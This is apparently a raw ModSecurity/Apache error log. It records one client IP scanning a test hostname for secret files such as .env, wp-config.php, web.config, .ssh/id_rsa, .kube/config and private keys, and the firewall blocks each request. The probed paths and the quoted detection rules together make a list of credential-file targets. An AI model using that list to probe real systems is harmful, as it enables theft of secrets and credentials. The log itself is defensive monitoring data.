&quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;Z3JkF5zgaVMtp564uKwzjAAAAAw&quot;]
[Mon Dec 30 10:12:55.213962 2024] [:error] [pid 135565] [client 213.152.176.252:36149] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;Z3JkF5zgaVMtp564uKwzjAAAAAw&quot;]
[Mon Dec 30 10:12:55.214200 2024] [:error] [pid 135565] [client 213.152.176.252:36149] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;Z3JkF5zgaVMtp564uKwzjAAAAAw&quot;]
[Mon Dec 30 10:12:55.305910 2024] [:error] [pid 135567] [client 213.152.176.252:32925] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934QAAAA4&quot;]
[Mon Dec 30 10:12:55.306333 2024] [:error] [pid 135567] [client 213.152.176.252:32925] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934QAAAA4&quot;]
[Mon Dec 30 10:12:55.306618 2024] [:error] [pid 135543] [client 213.152.176.252:57349] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;Z3JkFwsKCdEAF535Xf-FoQAAAAQ&quot;]
[Mon Dec 30 10:12:55.307343 2024] [:error] [pid 135543] [client 213.152.176.252:57349] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;Z3JkFwsKCdEAF535Xf-FoQAAAAQ&quot;]
[Mon Dec 30 10:12:55.307777 2024] [:error] [pid 135543] [client 213.152.176.252:57349] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;Z3JkFwsKCdEAF535Xf-FoQAAAAQ&quot;]
[Mon Dec 30 10:12:55.310877 2024] [:error] [pid 135573] [client 213.152.176.252:53201] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSAAAABQ&quot;]
[Mon Dec 30 10:12:55.311283 2024] [:error] [pid 135573] [client 213.152.176.252:53201] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSAAAABQ&quot;]
[Mon Dec 30 10:12:55.311681 2024] [:error] [pid 135573] [client 213.152.176.252:53201] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSAAAABQ&quot;]
[Mon Dec 30 10:12:55.306610 2024] [:error] [pid 135567] [client 213.152.176.252:32925] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934QAAAA4&quot;]
[Mon Dec 30 10:12:55.311959 2024] [:error] [pid 135573] [client 213.152.176.252:53201] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSAAAABQ&quot;]
[Mon Dec 30 10:12:55.417111 2024] [authz_core:error] [pid 135567] [client 213.152.176.252:48901] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Mon Dec 30 10:12:55.435006 2024] [:error] [pid 135564] [client 213.152.176.252:41083] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;Z3JkF9KE20tyYF1f-KPhuQAAAAs&quot;]
[Mon Dec 30 10:12:55.435285 2024] [:error] [pid 135564] [client 213.152.176.252:41083] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;Z3JkF9KE20tyYF1f-KPhuQAAAAs&quot;]
[Mon Dec 30 10:12:55.435506 2024] [:error] [pid 135564] [client 213.152.176.252:41083] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;Z3JkF9KE20tyYF1f-KPhuQAAAAs&quot;]
[Mon Dec 30 10:12:55.443205 2024] [:error] [pid 135573] [client 213.152.176.252:57531] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSQAAABQ&quot;]
[Mon Dec 30 10:12:55.443448 2024] [:error] [pid 135573] [client 213.152.176.252:57531] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSQAAABQ&quot;]
[Mon Dec 30 10:12:55.443586 2024] [:error] [pid 135573] [client 213.152.176.252:57531] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSQAAABQ&quot;]
[Mon Dec 30 10:12:55.497258 2024] [:error] [pid 135539] [client 213.152.176.252:54073] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3JkF4PgXbY9PR0iD-nivgAAAAA&quot;]
[Mon Dec 30 10:12:55.497747 2024] [:error] [pid 135539] [client 213.152.176.252:54073] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3JkF4PgXbY9PR0iD-nivgAAAAA&quot;]
[Mon Dec 30 10:12:55.498194 2024] [:error] [pid 135539] [client 213.152.176.252:54073] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z3JkF4PgXbY9PR0iD-nivgAAAAA&quot;]
[Mon Dec 30 10:12:55.500971 2024] [:error] [pid 135567] [client 213.152.176.252:40141] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/authors.pwd&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934wAAAA4&quot;]
[Mon Dec 30 10:12:55.501726 2024] [:error] [pid 135567] [client 213.152.176.252:40141] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/authors.pwd&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934wAAAA4&quot;]
[Mon Dec 30 10:12:55.502163 2024] [:error] [pid 135567] [client 213.152.176.252:40141] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/authors.pwd&quot;] [unique_id &quot;Z3JkF3zb8KRxgJmseY934wAAAA4&quot;]
[Mon Dec 30 10:12:55.505381 2024] [:error] [pid 135565] [client 213.152.176.252:22839] [client 213.152.176.252] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;Z3JkF5zgaVMtp564uKwzjwAAAAw&quot;]
[Mon Dec 30 10:12:55.505751 2024] [:error] [pid 135565] [client 213.152.176.252:22839] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;Z3JkF5zgaVMtp564uKwzjwAAAAw&quot;]
[Mon Dec 30 10:12:55.505948 2024] [:error] [pid 135565] [client 213.152.176.252:22839] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;Z3JkF5zgaVMtp564uKwzjwAAAAw&quot;]
[Mon Dec 30 10:12:55.531742 2024] [:error] [pid 135569] [client 213.152.176.252:2725] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;Z3JkF5zGejKJeqTP-gTpSwAAABA&quot;]
[Mon Dec 30 10:12:55.533285 2024] [:error] [pid 135573] [client 213.152.176.252:11275] [client 213.152.176.252] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSgAAABQ&quot;]
[Mon Dec 30 10:12:55.533541 2024] [:error] [pid 135573] [client 213.152.176.252:11275] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;Z3JkF5Yl2GjA6WDZA9pzSgAAABQ&quot;]
